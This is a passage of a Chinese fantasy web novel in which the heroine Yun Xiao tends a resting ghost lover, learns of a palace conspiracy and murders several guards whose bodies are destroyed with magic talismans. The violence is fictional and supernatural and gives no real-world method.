在云绡几乎窒息之前,钟离湛松开了她,深吻转变成啄吻,两双眼于此刻对视。 钟离湛的声音很哑,气息不稳道:“我有点累,绡绡。” 云绡迷糊得很,不明所以地望向他,累? 这样强度地亲一下,确实挺累的。 “扛不住了。”钟离湛的额头磕在云绡的肩上。 云绡尚未完全清醒,声音也带着几分喘意问:“扛不住什么?” “我需要睡一觉,很快就能醒来。”钟离湛的手抚摸着云绡的脸道:“不用担心,睡醒了我就会出现。” 拔出灵魂深处的剑化作己用,钟离湛已经耗尽了力气。 他实在是舍不得云绡,看她可怜兮兮地抱着双膝坐在地上,脸上还有泪痕,又一直喊他的名字,钟离湛才忍不住想要更亲近她一些。 想亲亲她,抱抱她,哄哄她。 云绡因他这一句话彻底清醒了过来,她满心的疑问还没来得及问出口,钟离湛的魂魄便在云绡的眼前逐渐淡去。 亲眼看着钟离湛消失的感觉绝不好受,就像是心里空了一块似的,即便他已经说明了是因为太疲惫需要休息,可云绡仍然会心慌,无法控制地担忧他。 指尖的骨戒发着烫,云绡一个垂眸的功夫,在风中飞舞的橙红色发带便消失了。 云绡抬起手看了一眼骨戒,上面萦绕着的光芒逐渐被戒指吸收,确定钟离湛只是宿在了他自己骨头化作的戒指里,云绡才将提起的心略微放下了些。 她在书上看见过的,虚弱的魂魄可以找个载体修养,那些话本里的故事也都是这样写的。 有些鬼因为魂体不稳而畏惧阳光,便会在白日寄入一些避阳的物品中,好比卷起来的画咒,好比空瓶或坛子…… 钟离湛以魂魄之气将洛娥封印,需要休息一段时间云绡是能理解且接受的,只要他还在就好,他还在,云绡就不太担心。 可转念一想,钟离湛到底是魂魄啊,这骨戒一直在她的手上,每日都能晒到太阳,即便眼下入秋,可正午的阳光仍然毒辣,会不会晒得他休息不好,从骨戒里出来的时间也要推迟? 云绡稀里糊涂地想着,干脆将袖摆扯下攥入掌心,将整张手掌彻底包裹。 - 如云绡所想,她的确屏蔽五感近两个时辰,在这两个时辰内,仲卿已经解救了绝大部分的旖族女了。 云绡离山崖不远,身体上所有的疼痛消失后,她便朝山崖边上走去。 洛娥彻底被封印沉睡,山崖边上的风也不再带着雪雾遮蔽视野,远远就能看见一座像是坍塌了一半的雪山,雪山周围的沟壑很深,让人望而却步。 仲卿的符虽没有云绡的符好用,可胜在信手拈来不限数量,一行人磕磕盼盼也能安全着陆。 一场与他们无关,他们又全程参与的恶战终于结束。仲卿的头发都散乱了下来,仙风道骨的老头儿这个时候看上去就像是讨饥荒的,画多了符,满眼都是疲惫。 徐容靳的状态看上去还不错,因为没有鬼哭声在他耳边响起,他整个人神采奕奕的。一只胳膊能提一个人,两只胳膊夹着两个女人便在山崖边上爬上爬下的。 看见云绡走过来了,徐容靳眼眸一亮,将两个女人往地上一丢。 “啊哟。” “哎哟。” “娘~~~” 徐容靳跑到云绡的跟前,眼神在云绡身边打量了两眼,摆明了是在找钟离湛。 不等他问爹去哪儿了,云绡便朝他身后抬了抬下巴。 徐容靳回头一看,他刚才丢下那两个女人的时候没注意分寸,两个女人还分别砸在了另外两人的身上,四个都爬不起来。 两个是被砸到爬不起来,还有两个是因为被徐容靳夹在胳膊下勒着肚腹爬悬崖,胃里翻滚腿还软,尚未缓和过来。 徐容靳要做娘亲眼里的乖小孩,于是跑了回去,一手提一个,两下就将四个人都提起来了。 一群旖族女虚弱地依偎在一起,互相搀扶着站着,谁也不敢休息,不敢回头。 劫后余生让她们迫不及待地离开这里,从今日起,她们可以去过自己追求的生活了。 云绡仔细看了一眼,反咒将洛娥对她们的诅咒应验到了她自己的身上,这些女人的脸色也不再像最开始逃亡时那样死气沉沉。即便有一些看上去仍然有短命之相,可没有诅咒的阻碍,她们至少能快乐一段时间。 云绡说不清心里是什么感受。 大约是人生第一次做件常人眼中的好事后,生出了些许无措,看着那些旖族女眼底的敬仰和感激,云绡的心里也像是燃起了一把火,灼灼地烧着胸腔,将那里填满。 她当然不会觉得受之有愧,又或者谦虚地表示这些都是她顺手而为。 本就是她大发善心救人,她就该得到那些赞美。 云绡虽然学会站在钟离湛那位男菩萨的角度去考虑事情,却也不会真的自己去坐莲花座,她如果连这些好话都听不到,那她做好事就真的一点意义都没有了。 总得有什么,激励着她才行,总得得到些什么,她才不会觉得自己白用工。 所幸,这些旖族女似乎都是知恩图报之人,纷纷表示来日愿意为她做牛做马。 云绡不需要那么多牛马,尴尬地转身。 还是仲卿多嘴问了琳娘一句:“你们接下来打算如何?” 云绡听见这话,耳朵动了动,心中忍不住想:瞧瞧,这也是位善良的菩萨呢,救人便算了,难道还想管人家的后半生? 琳娘一辈子没出过锦仙山,凭着本能离开山川,也挣脱了诅咒的束缚,这个时候眼底全是茫然。 还是阿樱主动开口,让她们一起去黎城。 杨珩宁是黎城的少城主,可以算作杨家如今说一不二的话事人。 阿樱既然离开了锦仙山,自然是要去找自己心爱之人的,而杨珩宁也有本事和能耐暂且安顿一下她的同族。 无处可去的女人们只能暂且跟随着水荷和阿樱,先去一趟黎城,将阿樱送回城主府,也借着城主府让她们休整两日。 至于未来是留在黎城靠着自己的手艺做工养活自己,还是在荒山下寻一块地耕种,那都是她们自己的选择了。 云绡和仲卿,还有徐容靳也跟着她们一起去了黎城。 出锦仙山往南走两百里就是黎城范围,那本就是他们的必经之路,云绡也打算去黎城好好休息一番,她出了一身汗,总要换身衣裳。 两百里路,如若只有云绡和仲卿、徐容靳三人,走起来也很快,但后面跟着一群虚弱的旖族女,两天的路足足用了五天才走到。 唯一值得庆幸的是这些旖族女都有点儿拿手的活计,吃喝与休息都不用麻烦他们,上山爬树掏鸟窝或者摘野果都行,顺便还能十几个人围堵一只野兔,而后烤了“孝敬”云绡。 人多了,叽叽喳喳的就很烦。 不过看在野兔的份上,云绡也勉为其难地没有加快脚步逃离她们。 这里还处于荒郊野外,将她们丢下总会让才经历了一场生死风波的人们没有安全感,云绡在心中默念 了许久的送佛送到西,也不断安慰自己只要到了黎城她就可以甩掉这些烫手山芋,心情也勉强能稳住。 将人送到了黎城,接下来就不归云绡去管了。 阿樱和水荷极力邀请云绡三人去城主府住下,毕竟三人都是她们的恩人。 若没有徐容靳,她们离不开禁地,没有云绡,她们无法解脱身上的诅咒,没有仲卿,她们也爬不上山崖。 云绡看了一眼阿樱隆起的肚子,摇头拒绝了她:“你还是得找个大夫看看。” 阿樱知道她说的是什么意思,她的脸色苍白了一瞬,扶着肚子的手轻轻地垂下。 她其实有所感应,从山中出来,地动山摇间她感觉肚子疼痛,虽然没流血,可阿樱肚子里的孩子也很久没有动静了,她必然是要找大夫看诊的。 水荷的脸色比阿樱的还要难看,云绡也知道原因。 阿樱以为自己的人生峰回路转,摆脱了诅咒,即便她失去了肚子里的孩子,她会伤心难过一段时间,但她和杨珩宁还会有下一个孩子,她还有一辈子能陪在自己的爱人身边。 事实上,等她到了城主府看见如今的杨珩宁…… 云绡不愿意看到那样的画面,也不想经历他人的生死离别。 作别阿樱和水荷,云绡潇洒地挥了挥手,和她们就在入黎城后分别了。 眼看仲卿还在和琳娘几人话别呢,云绡的眼底慢慢涌出鄙夷,鄙夷没过一会儿,仲卿跟上来了。 小老头有些失落:“你走那么快做什么?拒绝得也太利索了!” 云绡反问他:“你想娶妻啊?” 仲卿吹胡子瞪眼:“胡说八道什么?!人与人之间还有一种交往叫做礼数!你转身挥手便算作别,一点辞别的话都不说不合适的。” 云绡哼了哼,她上下打量了仲卿一眼笑道:“你从入锦仙山开始,对那个琳娘就格外重视,重视到忽略我未跟上,若不是徐容靳提醒,你就要入赘锦仙山了。” 仲卿有脏话要说。 云绡抬手制止他的欲言又止:“仲卿仙师太单纯了,她们是旖族女,你对她们的好感来自于她们血液里的天赋和诅咒,若不是有徐容靳在一旁看着你,你真有可能和那杨珩宁落得一样的下场。” 仲卿脸上一僵,背后发凉。 如今琳娘等人身上的诅咒是解了,可他刚入山时并非如此,是他的警觉性差。也如云绡所说,若不是刚好有这一出,他可能真得倒霉。 见仲卿反应过来了,云绡才道:“感谢的话不必多说,谁让你是徐容靳的大哥呢。” 仲卿:“……” 他现在也不想感谢了! 这话是在占他便宜吧?! 徐容靳嗅着黎城酒楼里飘出来的香喷喷的饭菜味道:“娘,肚子饿了!大哥,你饿不饿?” 仲卿:“……” 确定了,就是在占他便宜! 云绡也饿,不过这一次她不穷,没能为她当牛做马的旖族女,将她们身上所有值钱的东西都送给了她以报救命之恩。 云绡欣然接受,所以眼下也不用节省。 “吃!放开肚子吃!” 三人连客栈都没来得及去,顶着一身风尘仆仆就朝酒楼走。 几名锦衣之人与他们三人擦肩而过时眼神朝他们身上瞥了一眼,像是本能地捕捉一老一少一男一女的组合。 因为多了个气质不错又面目可怕徐容靳,而饿弯了腰的仲卿此刻看上去就像个佝偻着背的老仆,倒是让几人打消了疑虑,闲谈的话轻飘飘地落入云绡和仲卿的耳中。 “你说这京都是否是要变天了?大皇子才登基成新帝,逍遥王便死了,朝中势力分散,我们还有必要这么尽心去找那弑帝的罪人吗?” 仲卿和云绡闻言,悄然看了彼此一眼,藏不住眼底震惊。 他们以为栽赃他们弑帝的是逍遥王,可如今逍遥王居然也死了?! 第78章 黎城的酒楼并未因为云绡几人的衣着打扮与相貌而驱赶他们,还算有礼地将三人请到了偏角落的一桌。 徐容靳快乐地点菜,他一直很能吃,加上云绡许他今日敞开肚子,徐容靳一口气点了十道荤菜还意犹未尽。 云绡见他吃得香也多吃了些。 食不下咽的只有仲卿一人。 仲卿一直以为要害他的是逍遥王周申,毕竟从当时情况来看,只有周申能当这个恶人。 显帝并未立储,众多皇子势力均分,亲王不在连玉州,整个京都就他一个异姓王仗着湖族人的身份把控权势。显帝一死,周申若不蠢,必能立刻掌控朝政。 他不会当皇帝,但想推一个好拿捏的坐上皇位轻而易举。 仲卿与云绡离开京都数月,周申非但没当上摄政王,甚至还死了?! 难道一直以来,大皇子都是扮猪吃老虎的那个? 几人从酒楼出来,就近找了一家客栈住下。 徐容靳非要跟娘睡,被仲卿揪着耳朵提走了,结果仲卿自己趁着徐容靳睡下后半夜过来找云绡了。 云绡屋里的灯未灭,也等着他呢。 和仲卿相处久了,云绡也知道仲卿的为人,小老头的心里憋不住事儿。 云绡给他一张符他都得熬夜挑灯去弄懂,更别说是事关名誉生死的问题了。 仲卿一到云绡的房间,坐在对面后便一直安静着,云绡等了半晌也没见他开口,打了个哈欠问:“你不会是想占我便宜,打算宿在我房间吧?” “你说话越来越混了。”仲卿瞪了云绡一眼。 以前他怎么会觉得十一殿下柔弱乖巧,在一众皇子皇女中是个毫不起眼的小可怜?难道他总是看走眼?与他有过数次接触的大皇子,也不是他以为的憨厚人? 云绡其实也有察觉,她挺喜欢逗仲卿玩儿的。 或许真是因为相处久了,云绡颇能体会到那句“家有一老如有一宝”的乐趣,逗得仲卿吹胡子瞪眼了,云绡就会忘记他们其实是弑帝的逃犯,在逃亡的路上轻轻松松地一天也就过去了。 “你可知大皇子为人?”仲卿问完一顿,又道:“不对,现在不该叫他大皇子,应当称之为新帝了。” 云绡点头道:“他没头脑。” 直白了当。 仲卿语塞:“会否是他藏拙?” 云绡仔细想了想,也不能确定她有没有看错云光憧,即便她心里想的是没有看错,云光憧就是个蠢的,但还有那一分可能,就是云光憧和她一样会伪装。 云绡当即拍板:“想知道京都的近况,我们直接去问那几个人不就行了?” 仲卿一愣,云绡又道:“我画了影符跟着他们了,他们住哪儿能顺着符找到。” 仲卿:“……” 他有些羡慕到小小崩溃一下:“你从哪儿学来的这些八百年前就销声匿迹的符?” 云绡眨巴眨巴眼,仲卿又自顾自道:“定然是你身边那位高人告诉你的,不过那位高人去哪儿了?” 云绡意外:“你怎么知道他现在不在?” 仲卿摇头,叹了口气道:“其实是徐容靳告诉我的,他今晚睡觉的时候还哭来着,说他爹没了。” 云绡:“……” 云绡咬牙切齿:“他在睡觉!” 仲卿讪讪地笑了一下:“那就你我过去找人,不会有危险吧?” 摆明了就是信不过她。 云绡撇嘴:“爱去不去。” 反正仲卿不去,她也是要去的。 云绡虽少出皇宫,看到的却比仲卿更多,想到的自然也比仲卿多。 显帝死于神鬼蛊,此蛊必定得是能与他亲近之人,又或者是极让他信任之人才能种在他身上的。显帝此人生性多疑,除了自己谁也不信,便是枕边的皇后,亲生的儿子,他也都当那些人是可以摆布的棋子,未放几分真心在他们身上。 排除信任,神鬼蛊只能是在他神智不够清明的时候 种下了。 要么,有人在皇宫设了幻象摆了阵亦或者用了什么符咒,要么,就只能是床榻间。 - 云绡冒着夜风出了客栈,仲卿还是跟了过来,他慢了几步,因为要在徐容靳的身边设阵保护他的安全,他是真心把徐容靳当成自己的孩子对待了。 影符是钟离湛第一次用九星连月阵前,云绡让他教的,算是追踪术之一。 符分两种,一为影,二为光。 影符无形,锁定了目标之后便会顺着对方的脚步踩下一个个脚印,再用光符追踪,燃烧的光符能将那些常人看不见的脚印照亮,顺着脚印的方向便能寻到目标。 云绡搓燃了光符,火苗落在地上化作了个半指大的小人,小人浑身发着光,暗淡的光芒却将另一道小脚印照得明亮。 小人一蹦一蹦地朝前走,云绡顺着它照亮的脚印跟上,仲卿看得啧啧称奇。 仲卿心想先不管周申是死是活是好是坏,也不管京都那边如何翻天,反正今夜过后他要求着云绡教他影符,他想学! 京都追来的几人都在黎城的另一家客栈,仲卿出手,二人悄无声息地步入客栈中。 几个锦衣人都是宫中禁卫,云绡到了他们住的地方才知道这其中居然还有一个眼熟的人,正是之前替大皇子办事的禁军副统领林勋。 四人住在一间,林勋住在隔壁,若不是影符的小脚印在这两间屋子前都出现了,云绡也不会发现林勋。 仲卿办事利索,在客栈后院两间并排的屋子前都设了阵,云绡给林勋贴了一张定身符后便将人提到了那四人的房间里,五个人落在一间屋子,问话就方便多了。 几人都很警觉,云绡在屋子门前布阵的时候他们就已经醒了,可到底是凡人之躯,对符咒虽有听闻却也不善其法,五个人轻而易举就被云绡和仲卿制服了。 他们奉命来捉拿云绡和仲卿,却没想到对方率先找来,还将他们一网打尽了。 云绡烧了张符化入水中,给那些人一人灌了一点儿下去。仲卿还以为她是下什么毒要逼这几人开口,刚想提醒云绡这些禁军都是训练有素的,未必会听话。 谁知道话没说出来,刚喝下符水的几人便双目迷离,一副困顿之相,问什么就答什么了。 四个禁军知道的不多,他们都是林勋带出来的,林勋在云光憧身边办事,知道的却是不少。 云绡离京之后发生的事,凡是他看见的听到的,事无巨细全都告知了。 显帝死后,宫中乱了一段时间,云光憧想要以长子身份登基,其他皇子小动作不断,大皇子便只能求到了逍遥王周申的跟前。 周申与云光憧达成交易,他扶云光憧上位,云光憧要答应将曦族的地界再划分一州六城给湖族。 云光憧答应了,周申便动用势力关系让云光憧坐上了皇位。 安排了先帝宫中旧人妃嫔去留之后,云光憧顺利登基。 周申本握着新帝的令打算亲自回一趟湖族,请一位长老来神霄塔坐镇,再将分地之事通知曦族。 周申安排好了事宜还未离京,便被发现死在家中,他的死状与显帝一模一样,身上开出的花十分妖异,一时间流言于京中四起。 “是云光憧杀了周申?”仲卿连忙问。 林勋摇头道:“我以为不是……陛下皇位未稳,才与逍遥王交易,正是需要逍遥王助力扶持他的时候,陛下是最不想逍遥王出事的了。” 云绡也是这样想的。 仲卿又问:“京中流言是什么?” “传闻中,十一殿下云绡,生来噩兆降身,是不伤之躯……她为求长生不死,以蛊虫开花借命与运势,妄图、称帝。”林勋说到这些的时候,眉头皱起:“仲卿仙师,与十一殿下狼狈为奸,所谓借命与运势之蛊,便是仲卿所炼。” 云绡:“……” 仲卿:“……” 这种荒唐的传言居然也有人会信?! 仲卿心中惊讶,也就这么问出来了,结果林勋道:“我也不信,我见过十一殿下,她是个可怜又柔弱的女子,她恐怕连刀都握不稳,又怎会杀人?” 云绡:“……” 仲卿:“……” 小老头摸了一把胡子,上下打量云绡一眼,悄声问云绡:“他是不是心悦你?” 云绡听林勋这么说,却是想起了一件事。 她回忆起两千余年前钟离湛在处理旖族女时,也被人说成残暴不仁,传言他疯病缠身,那个时候针对钟离湛的话,十有八、九是假,不过是有心人刻意为之。 云绡原先还以为,她是受仲卿拖累,是周申想要杀了仲卿才布局让显帝死在神霄塔下的禁地里,以此栽赃仲卿,她是无意间闯入了那里。 而今京中的有心人,显然将目标锁定在她的身上,仲卿不过是顺带处理了。 可为何要带上仲卿呢?那时,想要她命的人为何要将仲卿也引到禁地中? 她还没想明白,仲卿又道:“这传言摆明了是针对你而来的,你得罪了谁吗?” 云绡也在奇怪,她在宫中一直老实本分,即便有些小动作也都是针对那些欺负过她的伤害过她的人。 还是说,她在京中真的还有仇人活着? 云宓和周泉礼是她亲手杀的,其他跟随附和的狗腿子,云绡也并不放在心上,唯一一个称得上仇人又在她离京之前还活着的—— 云绡瞳孔震颤,抓住林勋的衣襟厉声问:“你说云光憧是处理了显帝后宫嫔妃后才称帝的,那妍妃死了吗?” “妍妃……”林勋听到这称呼,表情突然扭曲了起来,他颤抖着嘴唇道:“妍妃,被陛下收入后宫,更名换姓,如今该称呼她为敏美人。” 林勋道:“陛下让我以他人替换敏美人陪葬,悄带敏美人入牡丹苑,敏美人夜夜承欢,致使皇后不满。后来、后来皇后发现了敏美人竟是先帝妃嫔,陛下降罪,罚我出宫寻找十一殿下。” 这也是他一个堂堂禁军副统领会出现在这里的原因。 仲卿闻言,表情就像吞了只苍蝇,他知道妍妃是云绡生母,比云光憧还要年长五、六岁,怎么就与云光憧纠缠到一起去了? 云绡的脸色越来越难看,身上的戾气也愈发地重。 她冷冰冰地看向林勋,抽出随身匕首,毫不犹豫地封喉。 匕首划破林勋脖子的那一瞬,鲜血立刻涌了出来,林勋因疼痛回神,双目惊惧又不可置信地看向云绡。 他的身上还有定身符,动不了,连挣扎都做不到。 那双眼几乎就要从他的眼眶里瞪出来,不过短短几息便死了。 仲卿此刻的眼,瞪得比死不瞑目的林勋还大。 他看着云绡手起刀落,以同样的手法稳准狠地要了剩下四人性命,冷汗涔涔,忍不住打了个寒颤。 云绡用几个禁军的衣裳擦干净匕首上的血迹,将匕首收回后一脸冷然地问仲卿:“你能将他们的尸体腐化,不留痕迹吗?” 仲卿尚未回神,他连气都不敢出。 云绡居然还解释道:“他们死在这里客栈定然要报官,一旦报官你我行踪就暴露了,如果你没办法腐化他们的尸体,把他们一个个扛出去埋了也行。” 而后,云绡又撇嘴啧了声,清灵的声音说出令仲卿毛骨悚然的话。 “回头我问问钟离湛,看他有没有什么符咒能让尸体消失的。” 第79章 毁尸灭迹的方法,仲卿也有。 云绡看他从另一边胳膊的袖子腋下掏了掏,没一会儿掏出了一张黄符包裹着的药粉,轻洒在五人的身上。眼见着那几人的身躯变得僵硬,皮肤干裂,像是抽干了全身的血与水。 仲卿又取出一张寻常火符,火光点燃了尸身,五具尸体就像纸片一样被燃烧,速度很快,半炷香的功夫除了地面上的些许焦黑就什么也不剩了。 做完这一切,仲卿还有些紧张地看向云绡,像是在用眼神询问这样是否可以。 云绡仍是那张冷脸,点头表示没问题,仲卿才松了口气。 肩膀耷拉下来没一会儿,仲卿小步小步地朝云绡那边凑过去,待到站在云绡身侧,他垂头仔细看了一眼面前这身形娇小的少女。 云绡会杀人他不意外,意外的是她杀人眼都不眨一下,十分迅速且利落,的确有那么一瞬吓到他了。 现在尸体没了 ,云绡身上的戾气没那么重,仲卿的胆子也回来了。 “京都传言对你不利,你打算如何应对?”仲卿说着,又有些疑惑:“还有那个妍妃,她不是你的亲生母亲吗?怎么听起来,你似乎与她有仇?” 云绡和仲卿先离开客栈,这地方不宜久留。 出了客栈门,沿着街道旁的屋檐快步往回走,云绡才解释道:“她脑子有病,我和她也的确有仇,是我挑唆显帝下令杀她的,你忘了?” 仲卿仔细想了想,当时云绡只说她的反咒是妍妃所教……不过按照显帝多疑的性子,的确会因为此事杀了妍妃,但在杀妍妃之前也一定会弄明白妍妃会这些咒的原因和目的。 谁知道妍妃没死,显帝先死了。 显帝一死,妍妃反而成了新帝娇宠的美人。 仲卿扯了扯嘴角,摇头道:“皇宫真是乱,老夫就说不能娶妻,此举甚是明治。” 云绡听仲卿在那儿提女人就像是提了母老虎一样敬而远之,心中想的却是另外一件事。 当时京中幕后黑手想要做局杀了显帝,主要原因除了神鬼蛊之外,还是为了栽赃到云绡的身上,陷害云绡。仲卿收到消息赶来后,那些冲进来显然是被符咒控制了的侍卫嘴里的的确确喊了她和仲卿二人的名字。 仲卿也不是被她连累了,他本就在京中人的布局之中。 不论仲卿是获罪死了,还是畏罪潜逃,那人都能得到自己想要的。 他想要什么? 仲卿是国师,神霄塔的第一仙师,他若没了,谁能获利? 神霄塔…… 云绡眸光一暗。 那人想要的,是掌控神霄塔! 神霄塔里最重要的不是那些珍奇书籍,而是塔下禁地,是钟离湛的真身! 百里红泥封身,钟离湛自己都无法冲破阻碍,若不推翻神霄塔,夷平天祭台,谁也无法取出钟离湛的身躯……那背后之人掌控神霄塔,就不是为了控制钟离湛的身躯,而是为了控制他的魂魄。 云绡忽而觉得背后发凉,乍然一通百通。 神鬼蛊的出现,代表此间仍然有人想要用神鬼蛊的方法成神,为了练就神鬼蛊,那人已经杀了许多人。 在若川尾人族的地界抛尸多处,应有数百年之久,那人若不是曦族人,躲过了钟离湛的诅咒,那就只有可能……他已经在漫漫长河里,练就了二十四只神鬼蛊,用在自己身上了。 云绡在若川碰见神秘人的傀儡,钟离湛击散傀儡,必然也让其真身警惕。于是这个时候云绡想要称帝的荒唐传言在京中四起,这样就能在未来将一切歪门邪道都抹黑到了她的身上。 可在云绡发现若川内有白骨之前,她和仲卿就已经被盯上了…… 云绡忽而想起了教她反咒的那个神秘人,他在很早之前就出现在后宫里。他说他们曾见过,他在她出生的时候见过她一面,所以五岁那年,他教云绡反咒时,是他们的重逢。 那个人能在皇宫来去自如,不止一次到访,且见过云绡出生还是婴孩时的模样,至少表明——他认得妍妃。 所以神鬼蛊,是黑袍神秘人给云绡和仲卿做的局,做局陷害仲卿,是为了掌控埋葬着钟离湛身躯的神霄塔。 做局陷害云绡,则是因为妍妃发现了云绡的真面目,她知道云绡想要她的命。而那黑袍神秘人与她相识,或许二人之间还有其他关系,他得为妍妃破除死局,最好的办法就是让下令杀她者死。 显帝身上的神鬼蛊,就是妍妃动手下的,她在身上刺青大片牡丹花引诱显帝,与显帝和多名刺青师苟合时,最容易得手。 显帝死后,妍妃成了敏美人,勾/引新帝与她日夜颠倒,从某种角度而言,妍妃背后的人把控住了而今的凌国。 叫那黑袍神秘人意外的是,他没想到显帝身上的神鬼蛊会被仲卿取走,所以他要重新下蛊,几乎坐上摄政王位置的周申就是他退而求其次的目标。 云光憧不是藏拙,云光憧就是个蠢货! 他不光是蠢货,他还蠢而不自知,将好不容易得来的皇位,为杀父仇人排除异己,最后拱手相让。 云绡一路沉思到入住的客栈,也将这些背后藏匿的阴谋想明白了。 唯一一个没想明白的,就是妍妃真的是因为发现云绡的本性才在京中散布那样的谣言吗? 不伤之躯,这与云绡的确相符。她为何生来就与众不同?受再严重的伤只要还有一口气在,总能很快愈合恢复,身上连道疤都不留? 难道这世上,人人步入天祭台下的禁地,都能拔出钟离湛脊骨处的斩魂剑吗? 还是说,只有她可以唤醒杀神?只有她能够带走杀神的魂魄? 这才是他们盯上她的原因,他们栽赃就是为了让云绡死,可云绡逃了。 于是他们造谣,就是为了让云绡逃得远远的,最好一辈子都别回京都。 云绡躺在床上,没能完全理清这些事,她轻轻抚摸着手指上的骨戒,叹了声气。 “你什么时候醒来?我想和你说说话。” 少女的声音,带着些许无助与困倦:“钟离湛,你说我们是不是命定的缘分?要不然怎么就偏偏是我,怎么我就这样喜欢上你了……” 嗯,是喜欢的。 云绡非无知小孩儿,即便以前没人教她爱,可她也在这段时间和钟离湛的相处中感受到了爱。 有所体会,便能明白。 她对钟离湛所有的占有、霸道、欲望、嫉妒,都源自于爱的一种表达方式。 而她对钟离湛的心疼、担忧、欢喜、思念,也是爱的另一种表达方式。 不论是好的,坏的,都独属于她对钟离湛才会有的,怎么就不是喜欢,不是爱了呢。 - 云绡和仲卿已经毁尸灭迹,六个大活人不见了,也够黎城杨家和当地凌国驻守的官兵调查好一段时间,这个时间恰好是云绡和仲卿离开的最佳时机。 清晨天才微微亮,云绡和仲卿便将还在睡梦中的徐容靳拉起。 他们之前的马在去锦仙山好些天时便丢了,如今又重新花钱向客栈掌柜的买了拉货的两匹老马,不拘跑速,能驼人就行。 从客栈出黎城,太阳刚好升起,灿烂的阳光照晒在三人身上。 云绡骑在马上,抬手遮挡了一下刺眼的光,又看向毫无动静的骨戒。 路过城门前的小摊,云绡买了一根红绳,小心翼翼地将骨戒摘下来穿上红绳,而后把红绳挂在脖子上打了个死结,又将骨戒塞到了衣襟里头。 这样就能确定戒指不会晒到阳光,避开烈阳,钟离湛说不定能更快醒过来。 自然,这只是云绡的猜测,可也算个心理安慰不是? 三人骑马到达黎城城门前,还意外碰见了杨家派来的家丁,那家丁是看见外形太特殊的徐容靳才认出他们的。 家丁说他天不亮就在这里守着了,少城主感激云姑娘一行善心之举救了他的夫人,命恩难还,可他只有庸俗的黄白之物,便送来百金作为酬谢。日后云姑娘若有任何需要他的地方,他定鼎力相助。 杨珩宁服毒了,难道不会很快就死了吗? 这种讨人嫌的话,云绡也只是在心中疑惑了一下,又大大方方地收了钱,表示恩情已还,祝他家主人安好。 出了城,云绡便将金子丢给了徐容靳。 他人高马大有的是力气。 徐容靳也很开心,他再傻也知道钱是个好东西,高高兴兴地将那些金子收到怀中,和他心爱的小野鸡作伴。 做完这一切,他还把仲卿往前推一推,说:“大哥,你别挤着咕咕和啾啾。” 仲卿:“……” 真是活得不如鸡! 明明客栈里有三匹马!为何云绡只买两匹?! 幽怨的眼神朝云绡投了过去,云绡权当没看见。 钟离湛还未醒来,云绡也不瞒着仲卿,她将自己昨夜睡前的猜测说了大概出来,等仲卿拿出下一个章程来。 仲卿闻之,眼神古怪地打量了云绡一眼。 云绡这些话若不说,仲卿也就当自己昨夜听见的那句是她的口误,可云绡偏偏又提起了神霄塔,仲卿便大胆猜测了。 一直以来,云绡身边都有一个他看不见的神秘人,那神秘人的能力简直可以用前无古人后无来者形容。可若这神秘人,是杀神钟离湛的魂魄,那一切就都说通了。 仲卿忍了又忍,实在没忍住问:“十一殿下给老夫一句准话,杀神……不是,曦帝的魂魄,是和你在一起吧?” 云绡本就没打算隐瞒他了,伸手拍了拍心口的骨戒道:“嗯,他在这儿。” 仲卿疑惑,他未见过魂魄,自然不知钟离湛是何形态,只能试探 地问:“你把他……放心上?” 云绡:“……他睡着了。” 仲卿更疑惑:“他睡在……你怀里?” 这么说倒也没错。 云绡不想和他扯这些无意义的,干嘛要告诉这个老婆都不娶的小老头她和钟离湛如何了? 云绡只问他:“周申为何非要曦族的地界?” 仲卿尴尬后正色,又摇头:“他的一切行径都以圣仙旨意为理由,实际上,周申也不过是湖族长老们安插在京都的手眼,我两耳不闻窗外事,早被他们排挤出去了。” 他又顿了顿道:“不过我有一个猜测,如若说,教你反咒之人的确是曦族人的话,那他很可能就是曦族的长老。曦族长老有两个人神秘,从未露面,有人说曦族其实并没有六位长老,一直以来都只是四位,多说两位不过是为了提防外族,作为威慑。” “不过现在看来,他们的确藏得太深,会反咒之人为长老之一,至于剩下的那一个……” 仲卿还在沉吟,云绡就已经说出了答案:“就是景妍。” 景妍,妍妃,敏美人,她从一开始来到凌国接触显帝的目的就不单纯,所以所有对显帝的爱与痴狂不过是她的伪装。 那她对显帝下神鬼蛊,对云绡的恨便说得通了。 她厌恶显帝,更厌恶与显帝生下的孩子。 若神鬼蛊出自曦族…… “我们先去曦族。” “我们还是先去曦族。” 云绡与仲卿异口同声,二人对视一眼,都有些意外。 云绡意外仲卿这个时候不急着回去了,仲卿意外云绡居然这么好心不想曦族害了凌国。 实际上云绡只是为了调查神鬼蛊的真相和那个神秘人究竟是谁,而仲卿是知道他回去湖族或许下一个就会害到他的头上。 左右他们目的地一致,就还可同行。 半晌。 仲卿又问:“十一殿下,曦帝是什么样的人?他真的长得青面獠牙,面目可憎吗?” 云绡:“你管呢?你别问!” 仲卿觉得她凶得古怪:“为何连问都不让我问?” 云绡瞪他:“你那么在意他做什么?你了解他又要如何?他不用你在意也无需你了解,他有我就够了!” 仲卿:“……” 吃得哪门子醋? 哦,他想起来了!徐容靳喊钟离湛的魂魄为爹! 仲卿瞳孔震颤,他好像发现了十分可怕的事情!云绡、似乎、和传说中的杀神……冥婚了?! 刚“睡醒”恢复了些意识的钟离湛,听到的第一句话就是云绡的那句“他有我就够了!” 忍不住勾唇,钟离湛又一怔。 馨香扑鼻,软玉包裹。 不对,他现在……是在哪儿? 第80章 云绡忽而觉得心口有些发烫,像是骨戒传来的温度。 她眉心一蹙,怕钟离湛的魂魄出了什么问题,连忙勒缰停马,稍拉开衣襟垂头朝里看了一眼。 一丝微光破开了钟离湛的视线,一股凉风顺着光芒照进来的地方吹过了骨戒,就像是抚摸在他的灵魂之上,叫他更加清醒了些。 除此之外,他还借着那抹光,看见了……嫩玉一般的肌肤。 肌肤之上是云绡露出担忧的一双眼。 钟离湛的视线……暂且无法去看云绡的眼,他目光四扫,如同被雷劈了一样,整个人……不,整个鬼都像是被烧起来了。 云绡的胸膛随着呼吸起伏,少女的身体也不再如以往一样干瘦,数月好吃好喝的去养,加上云绡后来的胃口颇大,在她衣裳遮蔽之下的身躯已然成熟。 钟离湛只觉得自己满呼吸间嗅到的香气令他才清明的意识也变得有些混沌,缩小的灵魂被柔软又带着体温的肌肤包裹着,在这里,他能听见云绡的心跳声。 还因为那被云绡拉开一条缝隙的衣襟透进来的光,看到了一些不该看到的旖旎风光。 明知道自己不该乱看的,这个时候趁机占云绡便宜,实在可耻! 心中暗骂可耻,眼睛仍然不受控制。 瞥一眼左边,又瞥一眼右边。 